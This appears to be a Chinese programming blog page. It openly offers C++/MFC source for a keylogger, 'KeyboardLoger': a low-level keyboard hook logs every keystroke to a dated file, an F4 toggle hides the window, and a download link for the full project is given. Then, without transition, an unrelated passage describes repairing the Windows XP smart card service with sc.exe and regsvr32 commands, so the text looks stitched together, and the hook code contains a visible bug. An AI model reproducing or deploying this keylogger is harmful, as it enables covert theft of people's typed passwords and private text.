1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
 2                                      WPARAM wParam,
 3                                      LPARAM lParam
 4                                      )
 5{
 6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
 7    if (nCode<0)
 8    {
 9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
10    }
11    if (HC_ACTION==nCode)
12    {
13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
14        {
15            if (VK_F4==kbhs->vkCode)
16            {
17                //先判断窗口是show or hide
18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
19                if (IsWindowVisible(m_hWnd2))
20                {
21                    ShowWindow(m_hWnd2,SW_HIDE);
22                    return 0;
23                }
24                else
25                {
26                    if (NULL==m_hWnd2)
27                    {
28                        AfxMessageBox(L"查找失败！");
29                        return 0;
30                    }
31                    ShowWindow(m_hWnd2,SW_RESTORE);
32                    //UpdateWindow(m_hWnd);
33                    BringWindowToTop(m_hWnd);
34                    SetForegroundWindow(m_hWnd);
35                    return 1;
36                }
37            }
38
39                char c[1]; 
40
41                c[0]=kbhs->vkCode; 
42
43                SaveLog(c); 
44        }
45    }
46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
47}

字符保存的代码：

 1void SaveLog(char* c)
 2{
 3    //AfxMessageBox(L"进入存储程序");
 4    CTime tm=CTime::GetCurrentTime(); 
 5
 6    CString name; 
 7    TCHAR* szPath[MAX_PATH];
 8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
 9    CString path=(LPTSTR)szPath;
10    path.Replace(L"\\LogerDll.dll",L"");
11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
12    path+=name;
13    
14    
15
16    CFile file; 
17
18    if(!file.Open(path,CFile::modeReadWrite)) 
19
20    { 
21
22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
23
24    } 
25
26    file.SeekToEnd(); 
27
28    file.Write(c,1); 
29
30    file.Close(); 
31
32
33}

下载地址：http://www.cppblog.com/Files/pencil/KeyboardLoger.rar
   

   【普通修复】的修复过程（以XP下的修复过程讲述，vista/win7下操作请看代码）：
（1）检查"智能卡服务"是否为自启动。并设置其为自启动。
（2）检测服务当前状态是否为SERVICE_RUNNING，并设置其状态为运行中。
（3）检测前两步是否成功，如果成功则向用户弹出messagebox询问moveable device功能是否正常。
（4）如果功能仍abnormal,则初步判断是服务登陆账户为非"NT AUTHORITY\LocalService" ，则用CreateProcess来运行 sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""    ，改变其用户为localservice(smart card service只有在此登陆账户下才正常运行)。

（5）如果在普通修复过程中遇到服务查询不到等error时，程序自动启动强力修复来安装smart card service.

注意：普通修复中的第3，4步中有点问题，在这个地方其实最好是直接检查服务的登陆账户。然后做出相应的动作，但是我这个地方没有想到实现的办法。望前辈提示。另外就是sc的命令格式有严格的限制，编码的时候要注意等号后面首先是空格。我当时被这个空格困扰到了。

    【强力修复】的修复过程（XP下的修复，vista/win7 下没有强力修复）
其实强力修复的过程就是网上流传的那个修复过程，我只不过在这个修复过程中增加了验证和配置修改。
修复过程：
（1）ScardSvr.exe reinstall
（2）regsvr32.exe SCardssp.dll
（3）sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""
（4）通过以上三步之后，剩下的配置修改就跟普通修复过程一样了。而以上三步通过CreateProcess和WaitForSingleObject来配合控制。

应该差不多了。代码是半个月前写的，一些地方可能有疏漏。
在代码实现中还有很多地方需要注意，我也都在代码中做出了注释。可自行查看。

如需交流，可mailto:pencil@yeah.net  MSN:pencil@yeah.net